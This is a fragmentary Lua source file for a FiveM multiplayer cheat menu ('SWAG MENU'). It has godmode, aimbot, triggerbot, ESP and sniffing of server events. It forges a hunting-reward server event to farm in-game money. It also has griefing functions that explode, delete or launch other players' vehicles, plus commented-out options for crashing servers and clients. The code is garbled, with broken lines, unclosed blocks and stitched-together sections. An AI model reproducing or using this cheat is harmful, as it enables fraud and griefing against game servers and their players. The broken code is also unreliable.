SetEntityInvincible(PlayerPedId(), God_mode)
SetPedCanBeKnockedOffVehicle(PlayerPedId(), Swag.Toggle.VehicleNoFall)
SetEntityVisible(PlayerPedId(), not invisable1, 0)
if Crosshair then
EnableCrosshairThisFrame()
ShowHudComponentThisFrame(14)
end
if thirdperson then
SetFollowPedCamViewMode(0)
SetFollowVehicleCamViewMode(0)
end
if playerBlips then
-- show blips
local plist = GetActivePlayers()
for i = 1, #plist do
local id = plist[i]
local ped = GetPlayerPed(id)
if ped ~= PlayerPedId() then
local blip = GetBlipFromEntity(ped)
-- Speaking display
-- I need to move this over to name tag code
-- if NetworkIsPlayerTalking(id) then
-- Citizen.InvokeNative( 0x63BB75ABEDC1F6A0,
headId, 9, true ) -- Add speaking sprite
-- else
-- Citizen.InvokeNative( 0x63BB75ABEDC1F6A0,
headId, 9, false ) -- Remove speaking sprite
-- end
-- BLIP STUFF --
end
end
SetBlipRotation(blip,
math.ceil(GetEntityHeading(veh))) -- update rotation
SetBlipNameToPlayerName(blip, id) -- update
blip name
SetBlipScale(blip, 0.85) -- set scale
end
SetWeaponDamageModifier(GetSelectedPedWeapon(PlayerPedId()),
SliderOptions.DamageModifier.Values[SliderOptions.DamageModifier.Selected])
if Swag.Toggle.DBull then
SetVehicleBulldozerArmPosition(GetVehiclePedIsIn(PlayerPedId(), 0),
math.random() % 1, 1)
SetVehicleEngineHealth(GetVehiclePedIsIn(PlayerPedId(), 0), 1000.0)
if not IsPedInAnyVehicle(PlayerPedId(), 0) then
DeleteVehicle(GetVehiclePedIsIn(PlayerPedId(), 1))
Swag.Toggle.DBull = not Swag.Toggle.DBull
elseif IsDisabledControlJustPressed(0, 86) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local coords = GetEntityCoords(veh)
local forward = GetEntityForwardVector(veh)
local heading = GetEntityHeading(veh)
local veh = CreateVehicle(GetHashKey("BULLDOZER"), coords.x +
forward.x * 10, coords.y + forward.y * 10, coords.z, heading, 1, 1)
SetVehicleColours(veh, 27, 27)
SetVehicleEngineHealth(veh, -3500.0)
ApplyForce(veh, forward * 500.0)
end
end
if Swag.Toggle.VehicleCollision then
playerveh = GetVehiclePedIsIn(PlayerPedId(), false)
for k in EnumerateVehicles() do
SetEntityNoCollisionEntity(k, playerveh, true)
end
for k in EnumerateObjects() do
SetEntityNoCollisionEntity(k, playerveh, true)
end
for k in EnumeratePeds() do
SetEntityNoCollisionEntity(k, playerveh, true)
end
end
if Swag.Toggle.TireSmoke then
if Swag.Player.Vehicle ~= 0 then
RequestNamedPtfxAsset("scr_recartheft")
while not HasNamedPtfxAssetLoaded("scr_recartheft") do
Wait(1)
end
RequestNamedPtfxAsset("core")
while not HasNamedPtfxAssetLoaded("core") do
Wait(1)
end
ang,speed = vehicleAngle(GetVehiclePedIsUsing(GetPlayerPed(-1)))
local _SIZE = 0.25
local _DENS = 25
local _BURNOUT_SIZE = 1.5
if IsPedInAnyVehicle(GetPlayerPed(-1), false) then
if speed >= 1.0 and ang ~= 0 then
driftSmoke("scr_recartheft","scr_wheel_burnout",
GetVehiclePedIsUsing(GetPlayerPed(-1)), _DENS, _SIZE)
elseif --[[speed < 1.0 and]]
IsVehicleInBurnout(GetVehiclePedIsUsing(GetPlayerPed(-1))) then
driftSmoke("core" ,"exp_grd_bzgas_smoke",
GetVehiclePedIsUsing(GetPlayerPed(-1)), 3, _BURNOUT_SIZE)
end
end
end
else
if Swag.Player.Vehicle ~= 0 then
SetVehicleGravityAmount(Swag.Player.Vehicle, 9.8)
end
end
if Swag.Toggle.Waterp then
if IsPedInAnyVehicle(GetPlayerPed(-1), false) then
SetVehicleEngineOn(GetVehiclePedIsUsing(PlayerPedId(-1)),
true, true, true)
end
end
if Swag.Toggle.EasyHandling then
if Swag.Player.Vehicle ~= 0 then
SetVehicleGravityAmount(Swag.Player.Vehicle, 30.0)
end
else
if Swag.Player.Vehicle ~= 0 then
SetVehicleGravityAmount(Swag.Player.Vehicle, 9.8)
end
end
if Swag.Toggle.CWallride then
if IsPedInAnyVehicle(GetPlayerPed(-1), false) then
ApplyForceToEntity(GetVehiclePedIsIn(PlayerPedId(), true),
1, 0, 0, -0.4, 0, 0, 0, 1, true, true, true, true, true)
end
else
if IsPedInAnyVehicle(GetPlayerPed(-1), false) then
ApplyForceToEntity(GetVehiclePedIsIn(PlayerPedId(), true),
1, 0, 0, 0, 0, 0, 0, 1, true, true, true, true, true)
end
end
if esp_Coords then
x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
roundx = tonumber(string.format("%.2f", x))
roundy = tonumber(string.format("%.2f", y))
roundz = tonumber(string.format("%.2f", z))
DrawTxt("X: " .. roundx .. "\tY: " .. roundy .. "\tZ: " ..
roundz, 0.5, 0)
end
if showNametags then
local plist = GetActivePlayers()
for i = 1, #plist do
local id = plist[i]
if GetPlayerPed( id ) ~= GetPlayerPed( -1 ) then
local ped = GetPlayerPed( id )
--blip = GetBlipFromEntity( ped )
if showGoodNametags then
tags_plist = GetActivePlayers()
for i = 1, #tags_plist do
ptags[i] =
CreateFakeMpGamerTag(GetPlayerPed(tags_plist[i]), GetPlayerName(tags_plist[i]), 0,
0, "", 0)
SetMpGamerTagVisibility(ptags[i], 0, NametagsEnabled)
SetMpGamerTagVisibility(ptags[i], 2, NametagsEnabled)
end
for i = 1, #tags_plist do
if NetworkIsPlayerTalking(tags_plist[i]) then
SetMpGamerTagVisibility(ptags[i], 4, 1)
else
SetMpGamerTagVisibility(ptags[i], 4, 0)
end
if IsPedInAnyVehicle(GetPlayerPed(tags_plist[i])) and
GetSeatPedIsIn(GetPlayerPed(tags_plist[i])) == 0 then
SetMpGamerTagVisibility(ptags[i], 8, 1)
else
SetMpGamerTagVisibility(ptags[i], 8, 0)
end
end
elseif not showNametags then
-- for i = 1, #ptags do
-- SetMpGamerTagVisibility(ptags[i], 4, 0)
-- SetMpGamerTagVisibility(ptags[i], 8, 0)
-- end
end
if SuperJump then
SetSuperJumpThisFrame(PlayerId())
end
if InfStamina then
RestorePlayerStamina(PlayerId(), 1.0)
end
if LaunchGun then
local ret, pos = GetPedLastWeaponImpactCoord(PlayerPedId())
if ret then
for k in EnumeratePeds() do
local coords = GetEntityCoords(k)
if k ~= PlayerPedId() and GetDistanceBetweenCoords(pos, coords)
<= 1.0 then
local forward = GetEntityForwardVector(PlayerPedId())
RequestControlOnce(k)
ApplyForce(k, forward * 500)
end
end
for k in EnumerateVehicles() do
local coords = GetEntityCoords(k)
if k ~= GetVehiclePedIsIn(PlayerPedId(), 0) and
GetDistanceBetweenCoords(pos, coords) <= 3.0 then
local forward = GetEntityForwardVector(PlayerPedId())
RequestControlOnce(k)
ApplyForce(k, forward * 500)
end
end
end
end
local ped_list = {
"a_c_boar", "a_c_killerwhale", "a_c_sharktiger",
"csb_stripper_01",
"s_m_y_baywatch_01", "a_m_m_acult_01", "ig_barry",
"g_m_y_ballaeast_01",
"u_m_y_babyd", "a_m_y_acult_01", "a_m_m_afriamer_01",
"u_m_y_corpse_01",
"s_m_m_armoured_02", "g_m_m_armboss_01", "g_m_y_armgoon_02",
"s_m_y_blackops_03",
"s_m_y_blackops_01", "s_m_y_prismuscl_01", "g_m_m_chemwork_01",
"a_m_y_musclbeac_01",
"csb_cop", "s_m_y_clown_01", "s_m_y_cop_01", "u_m_y_zombie_01",
"cs_debra", "a_f_m_beach_01", "a_f_m_bodybuild_01",
"a_f_m_business_02", "a_f_y_business_04",
"mp_f_cocaine_01", "u_f_y_corpse_01", "mp_f_meth_01",
"g_f_importexport_01", "a_f_y_vinewood_04",
"a_m_m_tranvest_01", "a_m_m_tranvest_02", "ig_tracydisanto",
"csb_stripper_02", "s_f_y_stripper_01",
"a_f_m_soucentmc_01", "a_f_m_soucent_02", "u_f_y_poppymich",
"ig_patricia", "s_f_y_cop_01",
"a_c_husky", "a_c_cat_01", "a_c_boar", "a_c_sharkhammer",
"a_c_coyote", "a_c_chimp", "a_c_chop",
"a_c_cow", "a_c_deer", "a_c_dolphin", "a_c_fish", "a_c_hen",
"a_c_humpback", "a_c_killerwhale",
"a_c_mtlion", "a_c_pig", "a_c_pug", "a_c_rabbit_01",
"a_c_retriever", "a_c_rhesus", "a_c_rottweiler",
"a_c_sharktiger", "a_c_shepherd", "a_c_westy",
}
-- POK-E-BALL
if PokiBall then
local ret, pos = GetPedLastWeaponImpactCoord(PlayerPedId())
if ret then
local rand = math.ceil(math.random(#ped_list))
local model = GetHashKey(ped_list[rand])
RequestModel(model)
while not HasModelLoaded(model) do
Citizen.Wait(0)
end
local ped = CreatePed(26, model, pos.x, pos.y, pos.z,
heading, true, true)
NetworkRegisterEntityAsNetworked(ped)
if Fped then
local ret, pos = GetPedLastWeaponImpactCoord(PlayerPedId())
if ret then
local rand = math.ceil(math.random(#ped_list))
local model = GetHashKey(ped_list[rand])
RequestModel(model)
while not HasModelLoaded(model) do
Citizen.Wait(0)
end
local ped = CreatePed(26, model, pos.x, pos.y, pos.z,
heading, true, true)
NetworkRegisterEntityAsNetworked(ped)
AddRelationshipGroup("pl_body_guard")
SetPedRelationshipGroupHash(GetPlayerPed(-1),
GetHashKey("pl_body_guard"))
SetPedRelationshipGroupHash(ped,
GetHashKey("pl_body_guard"))
--TaskGoToCoordAnyMeans(ped, coords, 150.0, 0, 0, 786603,
0xbf800000)
--TaskGoToEntity(ped, GetPlayerPed(-1), -1, 9999, 100,
1073741824, 0)
table.insert(bg_ped_list, ped)
end
end
if pedGun then
local heading = GetEntityHeading(PlayerPedId())
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local camPosition = GetGameplayCamCoord()
local playerPosition = GetEntityCoords(PlayerPedId(), true)
local spawnDistance = GetDistance(camPosition, playerPosition)
spawnDistance = spawnDistance + 5
local spawnPosition = add(camPosition, multiply(dir,
spawnDistance))
local rand = math.ceil(math.random(#ped_list))
local model = GetHashKey(ped_list[rand])
RequestModel(model)
while not HasModelLoaded(model) do
Citizen.Wait(0)
end
if HasModelLoaded(model) then
if IsPedShooting(PlayerPedId()) then
local spawnedPed = CreatePed(26, model,
spawnPosition.x, spawnPosition.y, spawnPosition.z, heading, true, true)
SetEntityRecordsCollisions(spawnedPed, true)
for f = 0.0, 75.0 do
if HasEntityCollidedWithAnything(spawnedPed)
then break end
ApplyForceToEntity(spawnedPed, 1, dir.x *
10.0, dir.y * 10.0, dir.z * 10.0, 0.0, 0.0, 0.0, false, false, true, true, false,
true)
end
end
end
end
if TeleportGun then
local impact, coords = GetPedLastWeaponImpactCoord(PlayerPedId())
if impact then
SetEntityCoords(PlayerPedId(), coords.x, coords.y, coords.z
+ 3)
end
end
if VehicleGun then
local VehicleGunVehicle = "Freight"
local playerPedPos = GetEntityCoords(PlayerPedId(), true)
if (IsPedInAnyVehicle(PlayerPedId(), true) == false) then
GiveWeaponToPed(PlayerPedId(),
GetHashKey("WEAPON_APPISTOL"), 999999, false, true)
SetPedAmmo(PlayerPedId(), GetHashKey("WEAPON_APPISTOL"),
999999)
if (GetSelectedPedWeapon(PlayerPedId()) ==
GetHashKey("WEAPON_APPISTOL")) then
if IsPedShooting(PlayerPedId()) then
while not
HasModelLoaded(GetHashKey(VehicleGunVehicle)) do
Citizen.Wait(0)
RequestModel(GetHashKey(VehicleGunVehicle))
end
local veh =
CreateVehicle(GetHashKey(VehicleGunVehicle), playerPedPos.x + (5 *
GetEntityForwardX(PlayerPedId())), playerPedPos.y + (5 *
GetEntityForwardY(PlayerPedId())), playerPedPos.z + 2.0,
GetEntityHeading(PlayerPedId()), true, true)
SetEntityAsNoLongerNeeded(veh)
SetVehicleForwardSpeed(veh, 150.0)
end
end
end
end
if OneShot then
SetPlayerWeaponDamageModifier(PlayerId(), 100.0)
else
SetPlayerWeaponDamageModifier(PlayerId(), 1.0)
end
if OneShotCar then
if IsControlJustReleased(1, 142) then
NetworkExplodeVehicle(GetVehiclePedIsIn(getEntityInCrosshair(PlayerId(-1)),
true), true, true, 0)
end
end
if Swag.Toggle.DeleteGun then
local found, entity = GetEntityPlayerIsFreeAimingAt(PlayerId())
if found then
local entityCoords = GetEntityCoords(entity)
DrawMarker(2, entityCoords.x, entityCoords.y,
entityCoords.z + 2, 0.0, 0.0, 0.0, 0.0, 180.0, 0.0, 2.0, 2.0, 2.0,
_menuColor.base.r, _menuColor.base.g, _menuColor.base.b, 170, false, true, 2, nil,
nil, false)
if IsDisabledControlPressed(0, Swag.Keys["MOUSE1"]) then
SetEntityAsMissionEntity(entity)
DeleteEntity(entity)
end
end
end
if Swag.Toggle.RapidFire then
DisablePlayerFiring(PlayerPedId(), true)
if IsDisabledControlPressed(0, Swag.Keys["MOUSE1"]) then
local _, weapon = GetCurrentPedWeapon(PlayerPedId())
local wepent =
GetCurrentPedWeaponEntityIndex(PlayerPedId())
local camDir = GetCamDirFromScreenCenter()
local camPos = GetGameplayCamCoord()
local launchPos = GetEntityCoords(wepent)
local targetPos = camPos + (camDir * 200.0)
ClearAreaOfProjectiles(launchPos, 0.0, 1)
ShootSingleBulletBetweenCoords(launchPos, targetPos, 5, 1,
weapon, PlayerPedId(), true, true, 24000.0)
ShootSingleBulletBetweenCoords(launchPos, targetPos, 5, 1,
weapon, PlayerPedId(), true, true, 24000.0)
end
end
SetRunSprintMultiplierForPlayer(PlayerId(),
SliderOptions.FastRun.Values[SliderOptions.FastRun.Selected])
SetPedMoveRateOverride(PlayerPedId(),
SliderOptions.FastRun.Values[SliderOptions.FastRun.Selected])
local jrad =
SliderOptions.Jradius.Values[SliderOptions.Jradius.Selected]
if jrad ~= 0 then
jesus_tick(jrad)
end
if aimbot_enabled then
aimbot_tick(not aimbot_peds, aimbot_silent)
end
if emp_nearby_cars then
for vehicle in EnumerateVehicles() do
if (vehicle ~= GetVehiclePedIsIn(PlayerPedId(), false))
then
NetworkRequestControlOfEntity(vehicle)
SetVehicleUndriveable(vehicle,true)
SetVehicleEngineHealth(vehicle, 100)
end
end
end
if destroy_cars then
for vehicle in EnumerateVehicles() do
if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false))
then
SetEntityAsMissionEntity(GetVehiclePedIsIn(vehicle,
true), 1, 1)
DeleteEntity(GetVehiclePedIsIn(vehicle, true))
SetEntityAsMissionEntity(vehicle, 1, 1)
DeleteEntity(vehicle)
end
end
end
if launch_cars then
for vehicle in EnumerateVehicles() do
RequestControlOnce(vehicle)
ApplyForceToEntity(vehicle, 3, 0.0, 0.0, 500.0, 0.0, 0.0,
0.0, 0, 0, 1, 1, 0, 1)
end
end
if huntspam then
TriggerServerEvent('esx-qalle-hunting:reward', 20000)
TriggerServerEvent('esx-qalle-hunting:sell')
end
if alarm_cars then
for vehicle in EnumerateVehicles() do
if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false))
then
NetworkRequestControlOfEntity(vehicle)
SetVehicleAlarmTimeLeft(vehicle, 500)
SetVehicleAlarm(vehicle,true)
StartVehicleAlarm(vehicle)
end
end
end
if explode_cars then
for vehicle in EnumerateVehicles() do
if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false))
then
NetworkRequestControlOfEntity(vehicle)
NetworkExplodeVehicle(vehicle, true, true, false)
end
end
end
if burger_cars then
local hamburghash = GetHashKey("xs_prop_hamburgher_wl")
for vehicle in EnumerateVehicles() do
local hamburger = CreateObject(hamburghash, 0, 0, 0, true,
true, true)
AttachEntityToEntity(hamburger, vehicle, 0, 0, -1.0, 0.0,
0.0, 0, true, true, false, true, 1, true)
end
end
if esp_enabled then
if dist <=
SliderOptions.ESPDistance.Values[SliderOptions.ESPDistance.Selected] then
local message = '';
if esp_names then
message = message .. GetPlayerName(id) ..
'\n'
end
if esp_distance then
message = message ..
math.round(#(vector3(cx, cy, cz) - vector3(x, y, z)), 1) .. 'm\n'
end
if esp_id then
message = message .. "L: " .. id .. ' | '
message = message .. "S: " ..
GetPlayerServerId(id)
end
if esp_lines then
DrawLine(cx, cy, cz, x, y, z, ra.r, ra.g,
ra.b, 255)
end
end
end
end
end
local TSpeed =
SliderOptions.TorqueBoost.Values[SliderOptions.TorqueBoost.Selected]
if TSpeed ~= 0 and IsPedInAnyVehicle(PlayerPedId(), true) then
SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-
1), false), TSpeed * 20.0)
end
if TriggerBot then
local isAiming, targetEntity =
GetEntityPlayerIsFreeAimingAt(PlayerId(), Entity)
if isAiming then
if IsPedAPlayer(Entity) and not IsPedDeadOrDying(Entity, 0)
and IsPedAPlayer(Entity) then
ShootPlayer(Entity)
end
end
end
if Swag.Toggle.RainbowVehicle then
local ra = RGBRainbow(1.0)
SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r,
ra.g, ra.b)
SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r,
ra.g, ra.b)
end
if Swag.Toggle.Forklift then
if IsControlJustPressed(0, 46) then
-- if already attached detach
if isAttached then
DetachEntity(attachedEntity, true, true)
attachedEntity = nil
isAttached = false
else
-- get vehicle infront
local pos =
GetOffsetFromEntityInWorldCoords(PlayerPedId(), 0.0, 2.0, 0.0)
local veh = GetClosestVehicle(pos, 2.0, 0, 70)
-- if vehicle is found
if veh ~= 0 and IsPedInAnyVehicle(PlayerPedId(),
false) then
local currentVehicle =
GetVehiclePedIsIn(PlayerPedId(), false)
if Swag.Player.isNoclipping then
local isInVehicle = IsPedInAnyVehicle(PlayerPedId(), 0)
local k = nil
local x, y, z = nil
Citizen.Wait(0)
end
end
CreateThread(MenuToggleThread)
-- MAIN MENU
SwagUI.CreateMenu("SwagMainMenu", "SWAG MENU")
SwagUI.SetSubTitle("SwagMainMenu", "Main Menu")
SwagUI.CreateSubMenu('OnlineVehicleMenuPlayer', 'PlayerOptionsMenu',
"Vehicle")
SwagUI.CreateSubMenu('ESXMenuPlayer', 'PlayerOptionsMenu', "ESX")
SwagUI.CreateSubMenu('TeleportP', 'PlayerOptionsMenu', "Teleporting")
SwagUI.CreateSubMenu("aimbotoptions", "LocalWepMenu", "Aimbot")
SwagUI.CreateSubMenu("AmmoSettings", "LocalWepMenu", "Ammo")
SwagUI.CreateSubMenu("BulletSettings", "LocalWepMenu", "Bullets")
SwagUI.CreateSubMenu("ToolBoxs", "LocalWepMenu", "ToolBox")
SwagUI.CreateSubMenu("LocalWepCategory", "LocalWepMenu", "Give Weapon")
SwagUI.CreateSubMenu("LocalMeleeWeapons", "LocalWepCategory", "Melee")
SwagUI.CreateSubMenu("LocalSidearmWeapons", "LocalWepCategory", "Handguns")
SwagUI.CreateSubMenu("LocalSmgWeapons", "LocalWepCategory", "Submachine
Guns")
SwagUI.CreateSubMenu("LocalShotgunWeapons", "LocalWepCategory", "Shotguns")
SwagUI.CreateSubMenu("LocalAssaultRifleWeapons", "LocalWepCategory", "Assault
Rifles")
SwagUI.CreateSubMenu("LocalMachineGunWeapons", "LocalWepCategory", "Light
Machine Guns")
SwagUI.CreateSubMenu("LocalSniperRifles", "LocalWepCategory", "Sniper
Rifles")
SwagUI.CreateSubMenu("LocalHeavyWeapons", "LocalWepCategory", "Heavy
Weapons")
-- Event sniffing
for _, resource in pairs(validResources) do
-- Revive event
if string.match(event, 'revive') then
Swag.Events.Revive[#Swag.Events.Revive + 1] = name
end
end
end
while isMenuEnabled do
Swag.Player.Vehicle = GetVehiclePedIsUsing(PlayerPedId())
if SwagUI.IsMenuOpened("SwagMainMenu") then
if SwagUI.MenuButton("Player", "SelfMenu") then end
if SwagUI.MenuButton("Vehicle", "LocalVehicleMenu") then end
if SwagUI.MenuButton("Player List", "OnlinePlayersMenu") then end
if SwagUI.MenuButton("All Player Trolling", "GriefMenu") then end
if SwagUI.MenuButton("Visual", "VisualMenu") then end
if SwagUI.MenuButton("Weapons", "LocalWepMenu") then end
if SwagUI.MenuButton("Teleporting", "TeleportMenu") then end
if SwagUI.MenuButton("Triggers", "ServerMenu") then end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("basicfunctions") then
end
if SwagUI.CheckBox("Godmode", God_mode, function(enabled)
God_mode = enabled end) then
end
if SwagUI.CheckBox("Noclip", Swag.Player.isNoclipping,
function(enabled)
Swag.Player.isNoclipping = enabled
if Swag.Player.isNoclipping then
SetEntityVisible(PlayerPedId(), false, false)
else
SetEntityRotation(GetVehiclePedIsIn(PlayerPedId(),
0), GetGameplayCamRot(2), 2, 1)
SetEntityVisible(GetVehiclePedIsIn(PlayerPedId(), 0),
true, false)
SetEntityVisible(PlayerPedId(), true, false)
end
end) then end
if SwagUI.CheckBox("Anti-Ragdoll", RagdollToggle,
function(enabled) RagdollToggle = enabled end) then end
if SwagUI.Button("Suicide") then
KillYourself()
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("SelfSuperPowers") then
if SwagUI.CheckBox("Spiderman", grapple_hook_enabled,
function(enabled) grapple_hook_enabled = enabled end) then end
--grapple_hook_enabled
SwagUI.Display()
elseif SwagUI.IsMenuOpened("TeleportMenu") then
if SwagUI.CheckBox("Teleport With Vehicle", tp_take_veh,
function(enabled) tp_take_veh = enabled end) then
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("meffects") then
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("characterchanges") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("SelfSkinChanges") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("VisualMenu") then
-- if
-- SwagUI.CheckBox(
-- "TriggerBot",
-- TriggerBot,
-- function(enabled)
-- TriggerBot = enabled
-- end)
-- then
-- elseif
-- SwagUI.CheckBox(
-- "AimBot",
-- AimBot,
-- function(enabled)
-- AimBot = enabled
-- end)
-- then
if SwagUI.MenuButton("ESP", "ESPMenu") then end
if SwagUI.CheckBox("Crosshair", Crosshair, function(enabled)
Crosshair = enabled end) then end
if SwagUI.CheckBox("Minimap", showMinimap, function(enabled)
showMinimap = enabled end) then end
if SwagUI.CheckBox("Force 3rd Person", thirdperson,
function(enabled) thirdperson = enabled end) then end
if SwagUI.CheckBox("Show Player Blips", playerBlips,
function(enabled) playerBlips = enabled end) then end
if SwagUI.CheckBox("Show Gamertags", showNametags,
function(enabled) showNametags = enabled end) then end
if SwagUI.CheckBox("Show Coords", esp_Coords, function(enabled)
esp_Coords = enabled end) then end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("ESPMenu") then
if SwagUI.CheckBox("Enabled", esp_enabled, function(enabled)
esp_enabled = enabled end) then end
if SwagUI.CheckBox("Names", esp_names, function(enabled)
esp_names = enabled end) then end
if SwagUI.CheckBox("Distance", esp_distance, function(enabled)
esp_distance = enabled end) then end
if SwagUI.CheckBox("Vehicle", esp_vehicle, function(enabled)
esp_vehicle = enabled end) then end
if SwagUI.CheckBox("ID", esp_id, function(enabled) esp_id =
enabled end) then end
if SwagUI.CheckBox("Show Lines", esp_lines, function(enabled)
esp_lines = enabled end) then end
if SwagUI.Slider("Max Distance", SliderOptions.ESPDistance.Words,
SliderOptions.ESPDistance.Selected, function(selectedIndex)
if SliderOptions.ESPDistance.Selected ~= selectedIndex then
SliderOptions.ESPDistance.Selected = selectedIndex
end
end) then end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("GriefMenu") then
-- if
-- SwagUI.CheckBox(
-- "~r~Explode All",
-- blowall,
-- function(enabled)
-- blowall = enabled
-- end)
-- then
-- elseif
-- SwagUI.CheckBox(
-- "~r~Overload Client Stream",
-- nuke,
-- function(enabled)
-- nuke = enabled
-- end)
-- then
-- elseif
-- SwagUI.CheckBox(
-- "~r~Trigger Malicious ESX",
-- esxdestroy,
-- function(enabled)
-- esxdestroy = enabled
-- end)
-- then
-- elseif
-- SwagUI.CheckBox(
-- "~r~Crash Server/Clients",
-- servercrasher,
-- function(enabled)
-- servercrasher = enabled
-- end)
-- then
-- end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("explodeall") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("weaponall") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("freezeall") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("objattatch") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("NearbyCarTroll") then
if SwagUI.CheckBox("EMP Nearby Vehicles", emp_nearby_cars,
function(enabled) emp_nearby_cars = enabled end) then end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalWepMenu") then
SwagUI.Display()
-- [NOTE] Local Weapon Menu
elseif SwagUI.IsMenuOpened("AimbotOptions") then
if SwagUI.Button("Aimbot") then
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("aimbotoptions") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("ToolBoxs") then
SwagUI.Display()
elseif SwagUI.IsMenuOpened("BulletSettings") then
if SwagUI.CheckBox("Vehicle Gun", VehicleGun, function(enabled)
VehicleGun = enabled end) then end
if SwagUI.CheckBox("Ped Launch Gun", pedGun, function(enabled)
pedGun = enabled end) then end
if SwagUI.CheckBox("Launch Gun", LaunchGun, function(enabled)
LaunchGun = enabled end) then end
if SwagUI.CheckBox("Spawn Attacking Ped", PokiBall,
function(enabled) PokiBall = enabled end) then end
if SwagUI.CheckBox("Spawn Friendly Ped", Fped, function(enabled)
Fped = enabled end) then end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("AmmoSettings") then
if SwagUI.Slider("Damage Modifier",
SliderOptions.DamageModifier.Words, SliderOptions.DamageModifier.Selected,
function(selectedIndex)
if SliderOptions.DamageModifier.Selected ~= selectedIndex
then
SliderOptions.DamageModifier.Selected = selectedIndex
end
end) then end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalWepCategory") then
if SwagUI.Button("Give All Weapons") then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
for i = 1, #t_Weapons do
GiveWeaponToPed(PlayerPedId(), t_Weapons[i][1], 256,
false, false)
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalMeleeWeapons") then
local selectedWeapon = {}
for i = 1, #t_Weapons do
if t_Weapons[i][5] == "melee" then
if SwagUI.Button(t_Weapons[i][2]) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(), t_Weapons[i][1],
0, false, false)
end
selectedWeapon[optionCount] = i
end
end
--
SwagUI.DrawWeaponPreview(selectedWeapon[menus[currentMenu].currentOption])
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalSidearmWeapons") then
for i = 1, #t_Weapons do
if t_Weapons[i][5] == "handguns" then
if t_Weapons[i][6] then
if weaponMkSelection[i] == nil then
weaponMkSelection[i] = 1 end
if SwagUI.ComboBox(t_Weapons[i][2],
ComboOptions.MK2.Words, weaponMkSelection[i], function(selectedIndex)
if weaponMkSelection[i] ~= selectedIndex
then
weaponMkSelection[i] =
selectedIndex
end
end) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
GetHashKey(t_Weapons[i][1] .. ComboOptions.MK2.Values[weaponMkSelection[i]]), 0,
false, false)
end
else
if SwagUI.Button(t_Weapons[i][2]) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
t_Weapons[i][1], GetWeaponClipSize(t_Weapons[i][1]) * 5, false, false)
end
end
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalAssaultRifleWeapons") then
for i = 1, #t_Weapons do
if t_Weapons[i][5] == "assaultrifles" then
if t_Weapons[i][6] then
if weaponMkSelection[i] == nil then
weaponMkSelection[i] = 1 end
if SwagUI.ComboBox(t_Weapons[i][2],
ComboOptions.MK2.Words, weaponMkSelection[i], function(selectedIndex)
if weaponMkSelection[i] ~= selectedIndex
then
weaponMkSelection[i] =
selectedIndex
end
end) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
GetHashKey(t_Weapons[i][1] .. ComboOptions.MK2.Values[weaponMkSelection[i]]), 0,
false, false)
end
else
if SwagUI.Button(t_Weapons[i][2]) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
t_Weapons[i][1], GetWeaponClipSize(t_Weapons[i][1]) * 5, false, false)
end
end
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalShotgunWeapons") then
for i = 1, #t_Weapons do
if t_Weapons[i][5] == "shotguns" then
if t_Weapons[i][6] then
if weaponMkSelection[i] == nil then
weaponMkSelection[i] = 1 end
if SwagUI.ComboBox(t_Weapons[i][2],
ComboOptions.MK2.Words, weaponMkSelection[i], function(selectedIndex)
if weaponMkSelection[i] ~= selectedIndex
then
weaponMkSelection[i] =
selectedIndex
end
end) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
GetHashKey(t_Weapons[i][1] .. ComboOptions.MK2.Values[weaponMkSelection[i]]), 0,
false, false)
end
else
if SwagUI.Button(t_Weapons[i][2]) then
--PlaySoundFrontend(-1, "PICK_UP",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
GiveWeaponToPed(PlayerPedId(),
t_Weapons[i][1], GetWeaponClipSize(t_Weapons[i][1]) * 5, false, false)
end
end
end
end
SwagUI.Display()
elseif SwagUI.IsMenuOpened("LocalMachineGunWeapons") then
for i = 1, #t_Weapons do
if t_Weapons[i][5] == "lmgs" then
